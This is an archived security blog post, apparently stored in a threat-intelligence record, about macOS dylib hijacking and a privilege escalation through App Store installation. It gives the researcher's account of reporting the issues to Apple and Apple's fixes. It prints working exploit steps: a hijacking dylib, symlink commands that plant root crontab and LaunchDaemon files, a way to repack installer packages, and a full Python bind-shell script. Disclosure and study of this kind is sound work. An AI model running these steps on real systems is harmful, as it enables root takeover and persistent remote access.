{
	"id": "5e1a2ba3-671b-4f5d-94cf-cfe1cf5a4915",
	"created_at": "2026-04-06T01:32:34.847255Z",
	"updated_at": "2026-04-10T03:24:18.217823Z",
	"deleted_at": null,
	"sha1_hash": "0fd73fb19634637c9d66265f9b891826d8fffbea",
	"title": "Getting Root with Benign AppStore Apps",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2649144,
	"plain_text": "Getting Root with Benign AppStore Apps\r\nArchived: 2026-04-06 00:18:20 UTC\r\nGetting Root with Benign AppStore Apps\r\nJuly 2, 2019\r\nBackground\r\nThis writeup is intended to be a bit of storytelling. I would like to show how I went down the rabbit hole in a\r\nquick ’research’ I wanted to do, and eventually found a local privilege escalation vulnerability in macOS. I also\r\nwant to discuss all the obstacles and failures I ran into, stuff that people often don’t talk about usually, but I feel\r\nit’s part of the process all of us go through, when we try to create (or exploit!) something.\r\nDylib Hijacking on macOS\r\nThis entire story started with me trying to find dylib hijacking vulnerability in a specific application, which I can’t\r\nname here. Well, I didn’t find any in that app, but found plenty in many others.\r\nIf you are not familiar with dylib hijacking on macOS:\r\nRead Patrick Wardle’s great writeup: Virus Bulletin :: Dylib hijacking on OS X\r\nWatch his talk on the subject: DEF CON 23 - DLL Hijacking on OS X - YouTube\r\nI would go for the talk, as he is a great presenter, and will explain the subject in a very user friendly way, so you\r\nwill understand all the details.\r\nBut just to sum it up here, in short, there are two types of dylib hijackings:\r\n1. Weak Loading of dylibs:\r\nIn this case the OS will use the LC_LOAD_WEAK_DYLIB function, and if the dylib is not found the application\r\nwill still run and won’t error out. So if there is an app that refers to a dylib with this method and that is not\r\npresent, you can go ahead place yours there and profit.\r\n2. Run-path Dependent ( rpath ) dylibs:\r\nIn this case the dylibs are referenced with the @rpath prefix, which will point to the current running\r\nlocation of the mach-o file, and will try to find the dylibs based on this search path. It’s useful if you don’t\r\nknow where your app will end up after installation. Developers can specify multiple search paths, and in\r\ncase the first or first couple doesn’t exists, you can place your malicious dylib there, as the loader will\r\nsearch through these paths in sequential order. In its logic this is similar to classic DLL hijacking on\r\nWindows.\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 1 of 21\n\nFinding vulnerable apps\r\nIt couldn’t be easier, you go download Patrick’s “Dylib Hijack Scanner” (DHS) tool, run the scan and wait. There\r\nis also a command line version, also written by Patrick.\r\nFor the walkthrough I will use the Tresorit app as an example as they already fixed the problem, and big kudos for\r\nthem, as they not only responded but also fixed this in a couple of days after reporting. I will not mention all of the\r\napps here, but you will be amazed how many are out there.\r\nAs can be seen in the above image, the dylib hijack vulnerability is with Tresorit’s FinderExtension:\r\n/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app\r\n/Contents/PlugIns/FinderExtension.appex/Contents/MacOS/FinderExtension\r\nYou can place a (malicious) dylib, UtilsMac here:\r\nrpath vulnerability: /Applications/Tresorit.app\r\n/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex\r\n/Contents/Frameworks/UtilsMac.framework/Versions/A/UtilsMac\r\nDHS will only show you the first hijackable dylib, but there can be more. To check for others, set the\r\nDYLD_PRINT_RPATHS variable to 1 in the Terminal, and you will see which dylibs the loader tries to load. As you\r\ncan see, below there are two dylibs that may be hijacked:\r\n$ export DYLD_PRINT_RPATHS=\"1\"\r\n$ /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app\r\n /Contents/PlugIns/FinderExtension.appex/Contents/MacOS/FinderExtension\r\nRPATH failed to expanding @rpath/UtilsMac.framework/Versions/A/UtilsMac to:\r\n/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app\r\n /Contents/PlugIns/FinderExtension.appex/Contents/MacOS\r\n /../Frameworks/UtilsMac.framework/Versions/A/UtilsMac\r\nRPATH successful expansion of @rpath/UtilsMac.framework/Versions/A/UtilsMac to:\r\n/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns\r\n /FinderExtension.appex/Contents/MacOS\r\n /../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 2 of 21\n\nRPATH failed to expanding @rpath/MMWormhole.framework/Versions/A/MMWormhole to:\r\n/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns\r\n /FinderExtension.appex/Contents/MacOS/\r\n ../Frameworks/MMWormhole.framework/Versions/A/MMWormhole\r\nRPATH successful expansion of @rpath/MMWormhole.framework/Versions/A/MMWormhole to:\r\n/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns\r\n /FinderExtension.appex/Contents/MacOS\r\n /../../../../Frameworks/MMWormhole.framework/Versions/A/MMWormhole\r\nIllegal instruction: 4\r\nAdditionally it’s a good idea to double check if the App is compiled with the library-validation option\r\n( flag=0x200 ). If an application is compiled in this manner, it means that even if a dylib could be hijacked, the\r\nOS will only load libraries signed by OS or the same team id as the application. In other words, any dylib hijack\r\nattempt against the app will fail.\r\nMost of the apps are not compiled this way, including Tresorit (but they promised to fix it):\r\n$ codesign -dvvv /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns\r\n /FinderExtension.appex/Contents/MacOS/FinderExtension\r\nExecutable=FinderExtension.appex/Contents/MacOS/FinderExtension\r\nIdentifier=com.tresorit.mac.TresoritExtension.FinderExtension\r\nFormat=bundle with Mach-O thin (x86_64)\r\nCodeDirectory v=20200 size=754 flags=0x0(none) hashes=15+5 location=embedded\r\n...\r\nUtilizing the vulnerability\r\nIt’s also something that is super easy based on the talk above, but here it is in short. I made the following POC:\r\n 1#include \u003cstdio.h\u003e\r\n 2#include \u003cstdlib.h\u003e\r\n 3#include \u003csyslog.h\u003e\r\n 4\r\n 5__attribute__((constructor))\r\n 6void customConstructor(int argc, const char **argv)\r\n 7 {\r\n 8 printf(\"Hello World!\\n\");\r\n 9 system(\"/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal\");\r\n10 syslog(LOG_ERR, \"Dylib hijack successful in %s\\n\", argv[0]);\r\n11}\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 3 of 21\n\nThe constructor will be called upon loading the dylib. It will print you a line, create a syslog entry, and also start\r\nTerminal for you. If the app doesn’t run in sandbox you get a full featured Terminal. Compile it:\r\ngcc -dynamiclib hello.c -o hello-tresorit.dylib -Wl,-reexport_library,\"/Applications/Tresorit.app/Con\r\nThen run Patrick’s fixer script. It will fix the dylib version for you (the dylib loader will verify that when loading)\r\nand also will add all the exports that are exported by the original dylib. Those exports will actually point to the\r\nvalid (original) dylib, so when the application loads our crafted version, it can still use all the functions and won’t\r\ncrash!\r\npython2 createHijacker.py hello-tresorit.dylib \"/Applications/Tresorit.app/Contents/MacOS/TresoritExt\r\nCREATE A HIJACKER (p. wardle)\r\nconfigures an attacker supplied .dylib to be compatible with a target hijackable .dylib\r\n [+] configuring hello-tresorit.dylib to hijack UtilsMac\r\n [+] parsing 'UtilsMac' to extract version info\r\n found 'LC_ID_DYLIB' load command at offset(s): [2568]\r\n extracted current version: 0x10000\r\n extracted compatibility version: 0x10000\r\n [+] parsing 'hello-tresorit.dylib' to find version info\r\n found 'LC_ID_DYLIB' load command at offset(s): [888]\r\n [+] updating version info in hello-tresorit.dylib to match UtilsMac\r\n setting version info at offset 888\r\n [+] parsing 'hello-tresorit.dylib' to extract faux re-export info\r\n found 'LC_REEXPORT_DYLIB' load command at offset(s): [1144]\r\n extracted LC command size: 0x48\r\n extracted path offset: 0x18\r\n computed path size: 0x30\r\n extracted faux path: @rpath/UtilsMac.framework/Versions/A/UtilsMac\r\n [+] updating embedded re-export via exec'ing: /usr/bin/install_name_tool -change\r\n [+] copying configured .dylib to /Users/csaby/Downloads/DylibHijack/UtilsMac\r\nOnce that is done, you can just copy the file over and start the app! Your malicious dylib, will now be\r\n(automatically) loaded into the Tresorit Finder extension app.\r\nOther apps\r\nConsidering the amount of vulnerable apps, I didn’t even take the time to report all these issues, only a few.\r\nBeside Tresorit I reported one to Avira, and they promised a fix but with low priority as you had to get root for\r\nutilising this, and the others were in MS Office 2016, where MS said they don’t consider this as a security bug as\r\nyou need root privileges to exploit it, they said I can submit as a product bug. I don’t agree, cause this is a way for\r\npersistence, but I suppose I have to live with it.\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 4 of 21\n\nThe privilege problem\r\nMy original research was done, but this is the point where I went beyond what I expected in the beginning.\r\nThere is a problem in case of many apps, in theory you just need to drop your dylib into the right place, but there\r\ncan be a two main scenarios in terms of privileges required for utilising the vulnerability.\r\n1. The application folder is owned by your account (in reality everyone is admin on his Mac so I won’t deal\r\nwith standard users here) - in that case you can go and drop your files easily\r\n2. The application folder is owned by root, so you need root privileges in order to perform the attack.\r\nHonestly this kinda makes it less interesting, cause if you can get root, you can do much better persistence\r\nelsewhere and the app will typically run in sandbox and under the user’s privileges, so you won’t get too\r\nmuch out of it. It’s still a problem but makes it less interesting.\r\nTypically applications you drag and drop to the /Application directory will fall into the first category. All\r\napplications from the App Store will fall into the 2nd category, it’s because they will be installed by the installd\r\ndaemon which is running as root . Apps that you install from a package will typically also fall into the 2nd\r\ncategory, as typically those require elevation of privilege.\r\nI wasn’t quite happy with all vendor responses, and also didn’t like that exploitation is limited to root most of the\r\ntimes, so I started to think: Can we bypass root folder permissions? Spoiler: YES, otherwise this would be a very\r\nshort post. :)\r\nTools for monitoring\r\nBefore moving on, I want to mention a couple of tools, that I found useful for event monitoring.\r\nFireEye - Monitor.app\r\nThis is a procmon like app created by FireEye, it can be downloaded from here: Monitor.app It’s quite good!\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 5 of 21\n\nObjective-See’s ProcInfo library \u0026 ProcInfoExample\r\nThis is an open source library for monitoring process creation and termination on macOS. I used the demo project\r\nof this library, called “ProcInfoExample”. It’s a command line utility and will log every process creation, with all\r\nthe related details, like arguments, signature info, etc…\r\nIt will give you more information than FireEye’s Monitor app:\r\n2019-03-11 21:18:05.770 procInfoExample[32903:4117446] process start:\r\npid: 32906\r\npath: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/efw_cache_update\r\nuser: 0\r\nargs: (\r\n \"/System/Library/PrivateFrameworks/PackageKit.framework/Resources/efw_cache_update\",\r\n \"/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager/BC005493-3176-43E4-A1F0\r\n)\r\nancestors: (\r\n 9103,\r\n 1\r\n)\r\n signing info: {\r\n signatureAuthorities = (\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 6 of 21\n\n\"Software Signing\",\r\n \"Apple Code Signing Certification Authority\",\r\n \"Apple Root CA\"\r\n );\r\n signatureIdentifier = \"com.apple.efw_cache_update\";\r\n signatureSigner = 1;\r\n signatureStatus = 0;\r\n}\r\n binary:\r\nname: efw_cache_update\r\npath: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/efw_cache_update\r\nattributes: {\r\n NSFileCreationDate = \"2018-11-30 07:31:32 +0000\";\r\n NSFileExtensionHidden = 0;\r\n NSFileGroupOwnerAccountID = 0;\r\n NSFileGroupOwnerAccountName = wheel;\r\n NSFileHFSCreatorCode = 0;\r\n NSFileHFSTypeCode = 0;\r\n NSFileModificationDate = \"2018-11-30 07:31:32 +0000\";\r\n NSFileOwnerAccountID = 0;\r\n NSFileOwnerAccountName = root;\r\n NSFilePosixPermissions = 493;\r\n NSFileReferenceCount = 1;\r\n NSFileSize = 43040;\r\n NSFileSystemFileNumber = 4214431;\r\n NSFileSystemNumber = 16777220;\r\n NSFileType = NSFileTypeRegular;\r\n}\r\nsigning info: (null)\r\nBuilt-in fs_usage utility\r\nThe fs_usage utility can monitor file system event very detailed, I would say even too detailed, you need to do\r\nsome good filtering if you want to get useful data out of it. You get something like this:\r\n# fs_usage -f filesystem\r\ngetxattr /Applications/Parcel.app lsd.4123091\r\naccess (___F) /Applications/Parcel.app/Contents lsd.4123091\r\nfstatat64 [-2]/ /Applications/Parcel.app lsd.4123091\r\ngetattrlist /Applications/Parcel.app lsd.4123091\r\ngetattrlist /Applications/Parcel.app/Contents lsd.4123091\r\ngetattrlist /Applications/Parcel.app/Contents/MacOS lsd.4123091\r\ngetattrlist /Applications/Parcel.app/Contents/MacOS/Parcel lsd.4123091\r\ngetattrlist /Applications/Parcel.app lsd.4123091\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 7 of 21\n\nBypassing root folder permissions in App Store installed apps\r\nThe goal here is to write any file inside an AppStore installed application, which is by default only accessible for\r\nroot.\r\nThe bypass will only work if the application was installed already at least once (since when you buy it, you need\r\nto authenticate to the AppStore even if it’s free or if the user checked in ‘Save Password’ for free apps, you can get\r\nthose as well. What I ‘noticed’ first is that you can create folders in the “/Applications” folder - obviously as you\r\ncan also drag and drop apps there. But what happens if I create folders for the to-be-installed app? Here is what\r\nhappens and the steps to bypass the root folder permissions:\r\n1. Before you delete the app take a note of the folder structure - you have read access to that. This is just for\r\nknowing what to recreate later.\r\n2. Start Launchpad locate the app, and delete it if installed currently. Interestingly it will remove the\r\napplication, although you interact with Launchpad as normal user. Note that it can only do that for apps\r\ninstalled from the App Store.\r\n3. Create the folder structure with your regular ID in the /Applications folder, you can do that without root\r\naccess. It’s enough to create the folders you need, no need for all, and place your dylib (or whatever you\r\nwant) there\r\n4. Go back to the AppStore and on the Purchased tab, locate the app, and install it. You don’t need to\r\nauthenticate in this case. You can also use the command line utility available from Github: GitHub - mas-cli/mas: Mac App Store command line interface\r\nAt this point the app will be installed and you can use it, and you have your files there, which you couldn’t place\r\nthere originally without root permissions.\r\nThis was fixed in Mojave 10.14.5, I will talk about that later.\r\nTo compare, it’s like having write access to the “Program Files” folder on Windows. Admin users do have it, but\r\nonly if they run as HIGH integrity, so that means you need to bypass UAC from the default MEDIUM integrity\r\nmode. But in Windows, MEDIUM integrity Admin to HIGH integrity Admin elevation is not a security boundary,\r\nbut in macOS admin to root is a boundary.\r\nTaking it further - Dropping AppStore files anywhere\r\nAt this point I had another idea. Since installd runs as root, can we use it to place the app somewhere else or\r\ncertain parts of it? The answer is YES. Let’s say I want to drop the App’s main mach-o file in a folder where only\r\nroot has access, e.g.: /opt (folders protected by SIP, like /System won’t work, as even root doesn’t have access\r\nthere). Here are the steps to reproduce it: Step 1-2 is the same as in the previous case.\r\n3. Create the following folder structure: /Applications/Example.app/Contents\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 8 of 21\n\n4. Create a symlink ‘MacOS’ pointing to /opt : ln -s /opt /Applications/Example.app/Contents/MacOS\r\nThe main mach-O file is typically in the following folder: /Applications/Example.app/Contents/MacOS and now\r\nin our case we point this to /opt\r\n5. Install the App\r\nWhat happens at this point, is that the App will install normally, except that any files under\r\n/Applications/Example.app/Contents/MacOS will go to /opt .\r\nIf there was a file with the name of the mach-O file, that will be overwritten. Essentially what we can achieve with\r\nthis is to drop any files that can be found in an AppStore app to a location we control.\r\nWhat can’t we do? (Or at least I didn’t find a way)\r\n1. Change the name of the file being dropped, or with other words, put the contents of one file into another\r\none with different name. If we create a symlink for the actual mach-o file, like: ln -s /opt/myname\r\n/Applications/Example.app/Contents/MacOS/Example What will happen is that the symlink will be\r\noverwritten, when the installd daemon moves the file from the temporary location to the final. You can find\r\nthe same behaviour if you experiment with the mv command:\r\n$ echo aaa \u003e a\r\n$ ln -s a b\r\n$ ls -la\r\ntotal 8\r\ndrwxr-xr-x 4 csaby staff 128 Sep 11 16:16 .\r\ndrwxr-xr-x+ 50 csaby staff 1600 Sep 11 16:16 ..\r\n-rw-r--r-- 1 csaby staff 4 Sep 11 16:16 a\r\nlrwxr-xr-x 1 csaby staff 1 Sep 11 16:16 b -\u003e a\r\n$ cat b\r\naaa\r\n$ echo bbb \u003e\u003e b\r\n$ cat b\r\naaa\r\nbbb\r\n$ touch c\r\n$ ls -l\r\ntotal 8\r\n-rw-r--r-- 1 csaby staff 8 Sep 11 16:16 a\r\nlrwxr-xr-x 1 csaby staff 1 Sep 11 16:16 b -\u003e a\r\n-rw-r--r-- 1 csaby staff 0 Sep 11 16:25 c\r\n$ mv c b\r\n$ ls -la\r\ntotal 8\r\ndrwxr-xr-x 4 csaby staff 128 Sep 11 16:25 .\r\ndrwxr-xr-x+ 50 csaby staff 1600 Sep 11 16:16 ..\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 9 of 21\n\n-rw-r--r-- 1 csaby staff 8 Sep 11 16:16 a\r\n-rw-r--r-- 1 csaby staff 0 Sep 11 16:25 b\r\n1. Even if we create a hardlink instead of symlink, that will be overwritten like in the 1st case.\r\n2. As noted earlier we can’t write to folder protected by SIP.\r\nIdeas for using this for privilege escalation\r\nBased on the above I had the following ideas for privilege escalation from admin to root:\r\n1. Find a file in the AppStore that has the same name as a process that runs as root, and replace that file.\r\n2. Find a file in the AppStore that has a cron job line inside and called “root”, you could drop that into\r\n/usr/lib/cron/tabs\r\n3. If you don’t find one, you can potentially create a totally harmless App, that will give you an interactive\r\nprompt, or something similar, upload it to the AppStore (it should bypass Apple’s vetting process as it will\r\nnothing do any harm). For example your file could contain an example root crontab file, which start\r\nTerminal every hour. You could place that in the crontab folder.\r\n4. Make a malicious dylib, upload it as part of an app to the Appstore and drop that, so an app running as root\r\nwill load it\r\nReporting to Apple\r\nI will admit that at this point I took the lazy approach and reported the above to Apple, mainly because:\r\nI found it very unlikely that I will find a suitable file that satisfies either #1 or #2\r\nXcode almost satisfied #2 as it has some cron examples, but not named as root\r\nI had 0 experience in developing AppStore apps, and I couldn’t code neither in Objective-C or Swift\r\nI had better things to do at work and after work :)\r\nSo I reported and then Apple came back at one point for my privilege escalation ideas: “The App Review process\r\nhelps prevent malicious applications from becoming available on the Mac and iOS App Stores.“\r\nObviously Apple didn’t understood the problem for first, it was either my fault not explaining it properly or they\r\ndidn’t understood it, but it was clear that there was a misunderstanding between us, so I felt that I have to prove\r\nmy point if I want this fixed. So I took a deep breath and decided to go the “Try Harder” approach by developing\r\nan App and submit it to the AppStore.\r\nCreating an App\r\nAfter some thinking I decided that I will create an application that will have a crontab file for root, and I will drop\r\nit to the /usr/lib/cron/tabs folder. The app had to do something meaningful in order to submit it, and to be\r\naccepted, so I came up with the idea of creating a cronjob editor app. It’s also useful, and would also explain why\r\nI have a crontab files embedded. Here is my journey:\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 10 of 21\n\nApple developer ID\r\nIn order to submit any App to the store you have to sign up for the developer program. I signed up with a new\r\nApple ID for the Apple developer program just because I had the fear that they will ban me, once I introduce an\r\napp that can be used for private escalation. In fact they didn’t. It’s 99$/ annum.\r\nChoosing a language\r\nI had no prior knowledge of either Objective C or Swift, but looking on the following syntax for Obj-C, freaked\r\nme out:\r\n1myFraction = [[Fraction alloc] init];\r\nThis is how you call methods of objects and pass parameters. It’s against every syntax I ever knew and I just\r\ndidn’t want to consume this. So I looked at Swift which looked much nicer in this space and decided to go with\r\nthat. :)\r\nLearning Swift\r\nMy company has a subscription to one of the big online training portals, where I found a short, few hour long\r\ncourse about introduction to Cocoa app development with Swift. It was an interesting course, and it turned out to\r\nbe sufficient, basically it covered how to put together a simple window based GUI. It also turned out that there is\r\nSwift 1 and 2 and 3 and 4, as the language evolved, and the syntax is also changed over time a bit, so you need to\r\npick up the right training.\r\nPublishing to the store - The Process\r\n1. Become an Apple Developer, costs 99$/year\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 11 of 21\n\n2. Login to App Store Connect and create a Bundle ID:\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 12 of 21\n\n3. Go back and create a new App referring the Bundle ID you created:\r\n4. Populate the details (license page, description, etc…)\r\n5. Upload your app from Xcode\r\n6. Populate more details if needed\r\n7. Submit for review\r\nPublishing to the store - The error problem\r\nDeveloping the App was pretty quick, but publishing it was really annoying, because I really wanted to see that\r\nmy idea is indeed works. So once I pushed it, I had to wait ~24 hours for it being reviewed. I was really impatient\r\nand nervous about if I can truly make it to the store :) The clock ticked, and it was rejected! :( The reason was that\r\nwhen I clicked the close button, the app didn’t exit and the user had now way to bring back the window. I fixed it,\r\nresubmit, wait again ~24 hours. Approved! I quickly went to the store, prepared the exploit, and clicked install.\r\nMeanwhile during the development I upgraded myself to Mojave, and never really did any other tests with other\r\napps. So it was really embarrassing to notice, that in Mojave this exploit path doesn’t work :( No problem, I have a\r\nHigh Sierra VM, let’s install it there! There I got a popup, that the minimum version required for the App is 10.14\r\n(Mojave), and I can’t put it on HS… :( damn, it’s an easy fix, but that means resubmit again, wait ~24 hours.\r\nFinally it got approved again, and the exploit worked on High Sierra! :) It was a really annoying process, as every\r\ntime I made a small mistake, fixing it meant 24 hours, even if the actual fix in the code, took 1 minute.\r\nThe App\r\nThe application I developed, is called “Crontab Creator”, which is actually very useful for creating crontab files.\r\nIt’s still there and available, and as it turns out, there are a few people using it.\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 13 of 21\n\nThe application is absolutely benign! However it contains different examples for crontab files, which are all stored\r\nas separate files within the application. The only reason I didn’t store the strings embedded in the source code is to\r\nbe able to use it for exploitation :) Among these there is one called ‘root’, which will try to execute a script from\r\nthe _Applications_Scripts folder.\r\nPrivilege Escalation on High Sierra\r\nThe Crontab Creator app contains a file named ‘root’ as an example for crontab file, along with 9 others. The\r\ncontent is the following: * * * * * /Applications/Scripts/backup-apps.sh\r\nObviously this script doesn’t exists by default, but you can easily create it in the /Application folder, as you\r\nhave write access, and at that point you can put anything you want into it.\r\nThe steps for the privilege escalation are as follows. First we need to create the app folder structure, and place a\r\nsymlink there.\r\ncd /Applications/\r\nmkdir \"Crontab Creator.app\"\r\ncd Crontab\\ Creator.app/\r\nmkdir Contents\r\ncd Contents/\r\nln -s /usr/lib/cron/tabs/ Resources\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 14 of 21\n\nThen we need to create the script file, which will be run every minute, I choose to run Terminal.\r\ncd /Applications/\r\nmkdir Scripts\r\ncd Scripts/\r\necho /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal \u003e backup-apps.sh\r\nchmod +x backup-apps.sh\r\nThen we need to install the application from the store. We can do this either via the GUI, or we can do it via the\r\nCLI if we install brew , and then mas :\r\n/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"\r\nbrew install mas\r\nmas install 1438725196\r\nIn summary utilizing the previous vulnerabilities we can drop the file into the crontab folder, create the script with\r\nstarting Terminal inside it, and in a minute we got a popup and root access.\r\nThe fix\r\nAs noted before, Apple fixed this exploit path in Mojave. This was in 2018 October, my POC didn’t work\r\nanymore, and without further testing I honestly thought that the privilege escalation issue is fixed - yes you could\r\nstill drop files inside the app, but I thought that the symlink issue is solved. I couldn’t have been more wrong! But\r\nthis turned out only later.\r\nInfecting installers without breaking the Application’s signature\r\nThe next part is where we want to bypass root folder permission for manually installed apps. We can’t do a true\r\nbypass / privilege escalation here, as during the installation the user have to enter his/her password, but we can\r\nstill apply the previous idea. However here I want to show another method, and that’s how to embed our custom\r\nfile into an installer package. If we can MITM a pkg download, we could replace it with our own one, or we can\r\nsimply deliver it to the user via email or something.\r\nAs a side note, interestingly AppStore apps are downloaded through HTTP, you can’t really alter it, as the hash is\r\ndownloaded via HTTPS and the signature will also verified.\r\nHere are the steps, how to include your custom file in a valid package:\r\n1. Grab an installer pkg, for example from the AppStore (Downloading installer packages from the Mac App\r\nStore with AppStoreExtract | Der Flounder)\r\n2. Unpack the pkg: pkgutil --expand example.pkg myfolder\r\n3. Enter the folder, and decompress the embedded Payload (inside the embedded pkg folder): tar xvf\r\nembedded.pkg/Payload\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 15 of 21\n\n4. Embedded your file (it can be anywhere and anything): bash $ mkdir Example.app/Contents/test $ echo\r\naaaa \u003e Example.app/Contents/test/a\r\n5. Recompress the app: find ./Example.app | cpio -o --format odc | gzip -c \u003e Payload\r\n6. Delete unnecessary files, and move the Payload to the embedded pkg folder.\r\n7. Repack the pkg pkgutil --flatten myfolder/ mypackage.pkg\r\nThe package’s digital signature will be lost, so you will need a method to bypass Gatekeeper. The embedded App’s\r\nsignature will be also broken, as these days every single file inside an .app bundle must be digitally signed.\r\nTypically the main mach-o file is signed, and it has the hash of the _CodeSignatures plist file. The file will contain\r\nall the hashes for the other files. If you place a new file inside the .app bundle that will invalidate the signature.\r\nHowever this is not a problem here, as if you can bypass Gatekeeper for the .pkg file, the installed Application\r\nwill not be subject to Gatekeeper’s verification.\r\nRedistributing paid apps\r\nUsing the same tool as in the previous example we can grab the installer for a given application. If you keep a paid\r\napp this way, it will still work somewhere else even if that person didn’t pay for the app. There is no default\r\nverification in an application if it was purchased or not, it also doesn’t contain anything that tracks this. With that,\r\nif you buy an application, you can easily distribute it somewhere else. In-App purchases probably won’t work as\r\nthose are tied to the Apple ID, and if there is another activation needed, that could be also a good countermeasure.\r\nBut apps that doesn’t have these can be easily stolen. Developers should build-in some verification of Apple IDs.\r\nI’m not sure that it’s possible but would be useful for them.\r\nPrivilege escalation returns on Mojave\r\nThe fix\r\nThis year (2019) I’ve been talking to a few people about this, and it hit me, that I didn’t do any further checks if\r\nsymlinks are completely broken (during the installation) or not. It turned out that they are still a thing.\r\nThe way the fix is working is that installd has no longer access to the crontab folder ( /usr/lib/cron/tabs )\r\neven running as root, so it won’t be able to create files there. I’m not even sure that this is a direct fix for my POC\r\nor some other coincidence. We can find the related error message in /var/log/install.log (you can use the\r\nConsole app for viewing logs):\r\nshove[1057]: [source=file] failed\r\n_RelinkFile(/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager\r\n /401FEDFC-1D7B-4E47-A6E9-E26B83F8988F.activeSandbox/Root/Applications\r\n /Crontab Creator.app/Contents/Resources/peter, /private/var/at/tabs/peter):\r\nOperation not permitted\r\nThe problem\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 16 of 21\n\nThe installd process had still access to other folders, and can drop files there during the redirection, and those\r\ncould be abused as well. I tested and you could redirect file writes to the following potentially dangerous folders:\r\n/var/root/Library/Preferences/\r\nSomeone could drop a file called com.apple.loginwindow.plist , which can contain a LoginHook, which will\r\nrun as root.\r\n/Library/LaunchDaemons/\r\nDropping a plist file here will execute as root\r\n/Library/StartupItems/\r\nDropping a file here will also execute as root.\r\nYou can also write to /etc .\r\nDropping files into these locations are essentially the same idea as dropping a file to the crontab folder. Potentially\r\nmany other folders are also affected, so you can craft malicious dylib files, etc… but I didn’t explore other\r\noptions.\r\nThe 2nd POC\r\nWith that, and now being an “experienced” :D macOS developer, I made a new POC, called StartUp:\r\nIt is really built along the same line as the previous one, but in this case for LaunchDaemons .\r\nThe way to utilize it is:\r\ncd /Applications/\r\nmkdir “StartUp.app”\r\ncd StartUp.app/\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 17 of 21\n\nmkdir Contents\r\ncd Contents/\r\nln -s /Library/LaunchDaemons/ Resources\r\ncd /Applications/\r\nmkdir Scripts\r\ncd Scripts/\r\nHere you can create a sample.sh script that will run as root after booting up. For myself I put a bind shell into\r\nthat script, and after login, connecting to it I got a root shell, but it’s up to you what you put there.\r\n1#sample.sh\r\n2python /Applications/Scripts/bind.py\r\n 1#bind.py\r\n 2#!/usr/bin/python2\r\n 3\"\"\"\r\n 4Python Bind TCP PTY Shell - testing version\r\n 5infodox - insecurety.net (2013)\r\n 6Binds a PTY to a TCP port on the host it is ran on.\r\n 7\"\"\"\r\n 8import os\r\n 9import pty\r\n10import socket\r\n11\r\n12lport = 31337 # XXX: CHANGEME\r\n13\r\n14def main():\r\n15 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n16 s.bind(('', lport))\r\n17 s.listen(1)\r\n18 (rem, addr) = s.accept()\r\n19 os.dup2(rem.fileno(),0)\r\n20 os.dup2(rem.fileno(),1)\r\n21 os.dup2(rem.fileno(),2)\r\n22 os.putenv(\"HISTFILE\",'/dev/null')\r\n23 pty.spawn(\"/bin/bash\")\r\n24 s.close()\r\n25\r\n26if __name__ == \"__main__\":\r\n27 main()\r\nReporting to Apple\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 18 of 21\n\nI reported this around February to Apple, and tried to explain again in very detailed why I think the entire\r\ninstallation process is still broken, and could be abused.\r\nThe security enhancement\r\nApple never admitted this as a security bug, they never assigned a CVE, they considered it as an enhancement.\r\nFinally this came with Mojave 10.14.5, and they even mentioned my name on their website:\r\nI made a quick test, and it turned out that they eventually managed to fix it properly. If you create the App’s folder,\r\nplace there files, those will be all wiped. Using FireEye’s Monitor.app we can actually see it. The first event shows\r\nthat they move the entire folder:\r\nBeing in Game Of Thrones mood I imagine it like this:\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 19 of 21\n\nThe following event shows that they install the application into its proper location:\r\nSo you can no longer drop there your files, etc…\r\nI like the way this got fixed eventually, and I would like to thank Apple for that. Also, I would like to thank for\r\nPatrick Wardle who was really helpful whenever I turned to him with my n00b macOS questions.\r\nTo be continued…\r\nThe story goes on, as I bypassed Apple’s fix. An update will follow once they fixed the issue.\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 20 of 21\n\nSource: https://objective-see.com/blog/blog_0x46.html\r\nhttps://objective-see.com/blog/blog_0x46.html\r\nPage 21 of 21",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x46.html"
	],
	"report_names": [
		"blog_0x46.html"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
